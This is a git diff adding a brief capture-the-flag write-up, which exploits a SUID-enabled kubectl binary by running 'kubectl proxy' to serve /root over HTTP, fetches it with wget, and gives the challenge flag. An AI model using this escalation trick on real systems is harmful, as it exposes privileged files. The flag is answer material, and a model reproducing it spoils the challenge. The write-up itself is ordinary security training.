diff options
Diffstat (limited to 'punkctf/gtfobins_02.md')
| -rw-r--r-- | punkctf/gtfobins_02.md | 8 |
1 files changed, 8 insertions, 0 deletions
diff --git a/punkctf/gtfobins_02.md b/punkctf/gtfobins_02.md new file mode 100644 index 0000000..1cf0fcf --- /dev/null +++ b/punkctf/gtfobins_02.md @@ -0,0 +1,8 @@ + +through basic recon you can find kubectl has suid bit + +if you lookup on gtfobins you find you can serve static files with kubectl using `kubectl proxy --address=0.0.0.0 --port=4444 --www=/root/ --www-prefix=/x/` + +then just `wget http://localhost:4444/x/` in another tab + +`punk_{FUN9BUQ19K8VCDRT}` |